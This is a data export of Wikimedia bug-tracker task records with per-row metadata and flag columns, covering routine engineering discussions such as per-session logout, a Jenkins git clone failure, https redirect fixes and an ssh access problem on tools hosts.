+518153,Add a feature to track and terminate specific login sessions,T110277 will fundamentally change session handling.,,,1441079642,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,True,,,104,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+518152,Add a feature to track and terminate specific login sessions,">>! In T58212#643013, @MZMcBride wrote:
+>> [[mw:Extension:SecureSessions]] only allows you to log out all sessions at
+>> once, not individual sessions.
+> 
+> Hmmm, interesting. So could this be a feature request for that extension, then?
+
+Not a simple one, though. As long as you terminate all sessions at the same time, it is enough to keep a single token in the user table and replace it when every session needs to be logged out. For per-session logout, you would need some kind of table keeping track of sessions.",,,1441079607,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,True,,,104,True,1,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+279538,Add a feature to track and terminate specific login sessions,"What wiki users want is not a factor in determining what features are included in MediaWiki core. If only 1% of sysadmins install the extension on their wiki, it's not MediaWiki's responsibility to correct the others. In fact, it's better if sysadmins have the choice of what they want to provide to their users
+
+In addition, there is very little reason to have a selective logout feature. Managing sessions is usually done for security purposes, i.e., if you left your account logged in somewhere and you're worried somebody might use it. In these cases it is safer to just reset all sessions.",,,1383051117,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,8,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+279532,Add a feature to track and terminate specific login sessions,"What if the ability to logout itself was left to an extension?
+
+Then only users of the 1% of the wikis where the administrator had the grace to install such extension could log out.
+
+In this case we are forced to leave a hanging session available at Bob's house for anyone who would like to use it.
+
+Therefore we see that such basic security should not be left for extensions, and thus belongs in the core.",,,1382910140,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,8,True,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+279527,Add a feature to track and terminate specific login sessions,"(In reply to comment #4)
+> [[mw:Extension:SecureSessions]] only allows you to log out all sessions at
+> once, not individual sessions.
+
+Hmmm, interesting. So could this be a feature request for that extension, then?",,,1382895094,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,True,,,8,True,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+279523,Add a feature to track and terminate specific login sessions,"[[mw:Extension:SecureSessions]] only allows you to log out all sessions at once, not individual sessions.",,,1382895018,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,8,True,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+279517,Add a feature to track and terminate specific login sessions,I believe this is the purpose of [[mw:Extension:SecureSessions]].,,,1382889214,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,True,,,8,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+279510,Add a feature to track and terminate specific login sessions,"I mean lets say I have nine sessions, eight on various computers around my house and at the lab, and one back at Bob's friend's house. I want to just terminate the latter, because there are lots of weird people at his house and I'm not going back there this week. Why should I have to hurt all my other sessions just to zap that one like I can already do in Facebook?",,,1382885712,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,8,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+279502,Add a feature to track and terminate specific login sessions,Logging out already logs you out of all your sessions.,,,1382885141,,PHID-USER-i7wj2sc5pxjokzzaj7vt,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,8,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+58098,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Example[1]:
+
+...
+ERROR: Error cloning remote repo 'origin'
+hudson.plugins.git.GitException: Could not clone https://gerrit.wikimedia.org/r/mediawiki/extensions/Translate
+...
+
+Started to happen after updating Jenkins Git plugin. Reverting the plugin to a earlier version did not help.
+
+Workaround it so clone the repositories via SSH[2].
+
+Contacted Cloudbees support[3].
+
+They were able to reproduce the problem[4] and fix it.
+
+1: https://wmf.ci.cloudbees.com/view/r-tr/job/Translate-sandbox.translatewiki.net-linux-firefox/5/console
+2: https://gerrit.wikimedia.org/r/#/c/91369/2/docs/template.md
+3: https://cloudbees.zendesk.com/requests/14067
+4: https://issues.jenkins-ci.org/browse/JENKINS-20218
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1382619360,1382619967.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-drck3ontm2hvae6wzpnc,task_description,resolved,True,c2,3,False,False,True,8,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+272218,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Change 91593 merged by Cmcmahon:
+Clone Git repositories via anonymous HTTP
+
+https://gerrit.wikimedia.org/r/91593",,,1382628110,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drck3ontm2hvae6wzpnc,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+272210,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Change 91593 had a related patch set uploaded by Zfilipin:
+Clone Git repositories via anonymous HTTP
+
+https://gerrit.wikimedia.org/r/91593",,,1382619640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drck3ontm2hvae6wzpnc,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+57982,'Mobile view' link always heads to https,"'Mobile view' link always heads to https because of incorrect value in second argument of MobileContext::getMobileUrl().
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1382414760,1401902866.0,PHID-USER-ecpjgmrbfxvcanttpazu,False,,False,PHID-TASK-o47zmudzjjgqctumtubv,task_description,resolved,True,c2,3,False,False,False,7,True,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+265157,'Mobile view' link always heads to https,"Change 137291 merged by MaxSem:
+Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()
+
+https://gerrit.wikimedia.org/r/137291",,,1401919391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,40,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+265154,'Mobile view' link always heads to https,"Yep, but maybe it's possible to merge the change into REL1_22? :)",,,1401903124,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+265152,'Mobile view' link always heads to https,This is still resolved I think??,,,1401902866,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,40,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+265150,'Mobile view' link always heads to https,"Change 137291 had a related patch set uploaded by Florianschmidtwelzow:
+Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()
+
+https://gerrit.wikimedia.org/r/137291",,,1401880631,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,40,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+265147,'Mobile view' link always heads to https,"Change 91123 merged by jenkins-bot:
+Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()
+
+https://gerrit.wikimedia.org/r/91123",,,1382481350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+265143,'Mobile view' link always heads to https,"Change 91123 had a related patch set uploaded by devunt:
+Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()
+
+https://gerrit.wikimedia.org/r/91123",,,1382415009,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+265138,'Mobile view' link always heads to https,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1322",,,1382414840,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+57957,Get SSL certificates for wmflabs.org,"So that services like these:
+* http://acc.wmflabs.org
+* http://parsoid.wmflabs.org
+* http://cvn.wmflabs.org/api.php
+
+.. can get proper valid HTTPS connections.
+
+See also bug 48501 (for *.{projects}.beta.wmflabs.org, probably needs separate treatment)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1382338080,1382375472.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-37lmnryg4rtyk6aklzyk,task_description,invalid,True,c2,3,True,False,True,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+263694,Get SSL certificates for wmflabs.org,This is already done and is working on yuviproxy. We just need to merge in the proxy interface for wikitech and package the invisible unicorn api for yuviproxy.,,,1382375472,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-37lmnryg4rtyk6aklzyk,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+57945,not able to ssh to tools-dev from tools-login,"**Author:** `johan.gunnarsson`
+
+**Description:**
+Can not ssh to tools-dev from tools-login:
+
+johang@tools-login:~$ ssh tools-dev
+
+If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+Permission denied (publickey).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1382292180,1409168555.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_description,invalid,True,c2,3,False,False,False,7,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+263123,not able to ssh to tools-dev from tools-login,Unable to reproduce.,,,1409168555,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c2,3,False,,,52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+263116,not able to ssh to tools-dev from tools-login,"(In reply to comment #2)
+> Yup, that's it. I wasn't forwarding it correctly.
+
+No, the problem lies with Tools in that host-based authentification between tools-dev and tools-login isn't working anymore.  ssh'ing from tools-dev and tools-login to tools-exec-01 succeeds.
+
+I discovered that both tools-dev and tools-login had the ssh_hba variable unset, but setting it back to ""yes"" didn't fix the issue.  There were some changes to the submit host mechanism in conjunction with the introduction of the webnode role, but I don't see anything obvious.  Need to debug further.",,,1388275091,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c2,3,True,,,17,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+263107,not able to ssh to tools-dev from tools-login,"**johan.gunnarsson** wrote:
+
+Yup, that's it. I wasn't forwarding it correctly.",,,1382298279,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+263100,not able to ssh to tools-dev from tools-login,"ok, either you aren't forwarding your private key properly, or it's not located on tools-login in ~/.ssh",,,1382295431,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+57854,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,"seen on test2wiki Oct 17 after deploy
+
+http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup 
+
+correctly goes to the 'Create account' UI
+
+http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup
+
+redirects to https but goes to the Login UI, not to the 'Create account' UI
+
+Special:CreateAccount and Special:UserLogin/signup continue to function correctly
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1382050680,1382053355.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-tltmp7b334zjmyu7oik7,task_description,resolved,True,c2,3,False,False,True,7,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+258513,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,seems to have been a temporary condition,,,1382053355,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tltmp7b334zjmyu7oik7,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+258507,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,"(In reply to comment #0)
+> seen on test2wiki Oct 17 after deploy
+> 
+> http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup 
+> 
+> correctly goes to the 'Create account' UI
+
+should be 
+
+https://test2.wikipedia.org/wiki/Special:UserLogin?type=signup",,,1382050804,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tltmp7b334zjmyu7oik7,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+57804,Remove https redirect for loginwiki in beta,"It looks like in beta, the apache configuration is redirecting http://login.wikimedia.org to https.
+
+I'm not sure where those configs are stored, but can we remove that? I did that for production a while back, but it looks like the change didn't get into beta.
+
+This will let us enable SUL2 without https support in beta.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1381950600,1382138439.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-be3n24ybyqhu2mwflp3z,task_description,resolved,True,c2,3,True,False,True,7,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0
+280366,Remove https redirect for loginwiki in beta,"I have purged http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page as well, was redirecting to the https version.",,,1382126008,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+280362,Remove https redirect for loginwiki in beta,"Assigning to Chris Steipp since he did all the work :-]
+
+
+I have purged the page using:
+
+hashar@deployment-bastion:~$ mwscript purgeList.php --wiki=enwiki
+http://login.wikimedia.beta.wmflabs.org/
+^D
+Purging 1 urls
+Done!
+
+
+
+Before:
+
+$ curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1
+HTTP/1.1 301 Moved Permanently
+Server: Apache
+Location: https://login.wikimedia.beta.wmflabs.org/
+Content-Type: text/html; charset=iso-8859-1
+Vary: X-Forwarded-Proto
+X-Varnish: 687980 209891, 906468551 906468446
+Via: 1.1 varnish, 1.1 varnish
+Content-Length: 249
+Accept-Ranges: bytes
+Date: Fri, 18 Oct 2013 19:49:09 GMT
+Age: 349692
+Connection: keep-alive
+X-Cache: deployment-cache-text1 hit (6), deployment-cache-text1 frontend hit (4)
+
+
+AFTER purge:
+
+
+
+$ curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1
+HTTP/1.1 301 Moved Permanently
+Server: Apache
+X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
+X-Content-Type-Options: nosniff
+Cache-control: s-maxage=1200, must-revalidate, max-age=0
+Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
+X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=loginwikiToken;string-contains=loginwikiLoggedOut;string-contains=forceHTTPS;string-contains=loginwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
+Last-Modified: Fri, 18 Oct 2013 19:49:28 GMT
+Location: http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page
+Content-Type: text/html; charset=utf-8
+X-Varnish: 688133, 906468558
+Via: 1.1 varnish, 1.1 varnish
+Date: Fri, 18 Oct 2013 19:49:28 GMT
+Age: 0
+Connection: keep-alive
+X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)
+
+
+I guess that fix the issue.",,,1382125890,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+280359,Remove https redirect for loginwiki in beta,"I updated the apache config and restarted the apaches. deployment-cache-text1 is still giving the https redirect for now:
+
+csteipp@linux-hv06:~> curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1 | egrep ""(Location|X-Cache:)""
+Location: https://login.wikimedia.beta.wmflabs.org/
+X-Cache: deployment-cache-text1 hit (3), deployment-cache-text1 frontend hit (3)
+
+However the backend apaches are correctly not redirecting at this point:
+
+csteipp@deployment-bastion:/data/project/apache/conf$ curl -I -H ""Host: login.wikimedia.beta.wmflabs.org"" http://10.4.0.187 2>&1 | grep Location
+Location: http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page
+
+So, hopefully in about 1200 seconds, we'll get the right answer from the cache too.",,,1382110422,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+280358,Remove https redirect for loginwiki in beta,"Yep, just need to comment out these lines in loginwiki.conf:
+
+    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+    RewriteRule ^/(.*)$ https://login.wikimedia.beta.wmflabs.org/$1 [R=301,L]
+
